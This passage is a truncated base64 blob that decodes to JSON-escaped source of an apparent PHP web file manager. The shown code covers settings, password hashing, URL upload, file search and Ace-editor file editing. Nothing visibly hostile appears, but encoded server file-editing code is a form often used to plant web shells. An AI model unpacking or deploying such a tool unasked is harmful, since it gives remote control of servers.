ICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgI